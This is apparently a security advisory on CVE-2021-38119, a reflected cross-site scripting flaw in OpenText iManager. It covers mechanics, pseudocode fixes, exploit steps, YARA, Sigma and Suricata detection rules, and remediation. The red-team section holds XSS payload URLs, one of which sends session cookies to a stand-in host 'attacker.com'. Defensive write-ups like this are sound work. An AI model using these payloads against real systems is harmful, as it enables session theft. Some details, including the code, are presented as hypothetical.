CVE-2021-38119

Executive Summary

CVE-2021-38119 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in OpenText™ iManager 3.2.4.0000. The flaw allows an attacker to inject arbitrary JavaScript into a reflected response, which executes in the context of the victim’s browser session. The vulnerability is triggered when a crafted URL containing malicious script parameters is sent to the iManager web interface. No authentication is required for exploitation, but user interaction (clicking a link) is necessary. The CVSS score is 6.1 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. No public exploit code or Nuclei template is available, but the attack vector is straightforward for any attacker with basic XSS knowledge.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone enterprise application (OpenText iManager) and does not involve open-source package dependencies.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires user interaction, but once triggered, an attacker can steal session cookies, perform actions on behalf of the victim, or deface the application interface. The lack of authentication requirements increases the attack surface.

Deep Dive & Mechanics

The vulnerability resides in the iManager web interface, specifically in how it handles user-supplied input in URL parameters. When a request is made to a vulnerable endpoint (e.g., /nps/servlet/webacc), the application reflects the input without proper sanitization or encoding. An attacker can craft a URL such as:

https://target/nps/servlet/webacc?User=javascript:alert(document.cookie)

If the application reflects the User parameter value directly into the HTML response without escaping, the JavaScript executes. The attack is reflected because the payload is embedded in the URL and only affects the user who clicks the link.

Root Cause: The application fails to validate or encode user-controlled input before embedding it in the HTTP response. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Vulnerable Code (iManager 3.2.4.0000):

// Example servlet code (pseudocode)
String user = request.getParameter("User");
response.getWriter().println("<div>Welcome, " + user + "</div>");

Patched Code (hypothetical fix):

// Patched version with output encoding
String user = request.getParameter("User");
String safeUser = Encode.forHtml(user);
response.getWriter().println("<div>Welcome, " + safeUser + "</div>");

The fix involves using a context-aware output encoding library (e.g., OWASP Java Encoder) to escape HTML entities. Without the patch, any unvalidated input is directly concatenated into the HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running OpenText iManager 3.2.4.0000
• No authentication required for the vulnerable endpoint
• Victim must click the crafted link

Exploit Steps:

1. Identify the vulnerable parameter (e.g., User, error, msg).
2. Craft a malicious URL:

   https://target/nps/servlet/webacc?User=<script>alert('XSS')</script>
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks, the script executes in their browser.

Example Payload (session cookie theft):

https://target/nps/servlet/webacc?User=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

No public exploit code is available; the above is a generic XSS demonstration.

Blue Team (Detection & Response)

Detection:

• Monitor web logs for unusual URL parameters containing <script>, javascript:, or onerror= patterns.
• Look for repeated requests to /nps/servlet/webacc with suspicious query strings.
• Use WAF rules to block reflected XSS patterns.

Response:

• Block the attacker IP immediately.
• Review logs for any successful exploitation (e.g., outbound connections to unknown domains).
• Force session invalidation for all users.
• Apply virtual patching via WAF until official fix is deployed.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2021_38119_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against OpenText iManager"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-38119"
    strings:
        $xss1 = "/nps/servlet/webacc"
        $xss2 = "<script>"
        $xss3 = "javascript:"
        $xss4 = "onerror="
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt Against OpenText iManager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting iManager
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/nps/servlet/webacc'
        cs-uri-query|contains:
            - '<script>'
            - 'javascript:'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-38119 Reflected XSS in OpenText iManager"; flow:to_server,established; content:"/nps/servlet/webacc"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to a patched version of OpenText iManager (contact vendor for latest build).
2. Apply WAF rules to block reflected XSS patterns (e.g., <script>, javascript:).
3. Disable vulnerable endpoints if not required (e.g., /nps/servlet/webacc).

Long-Term Fix:

• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.

No official patch is confirmed; the vendor recommends upgrading to a version beyond 3.2.4.0000.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert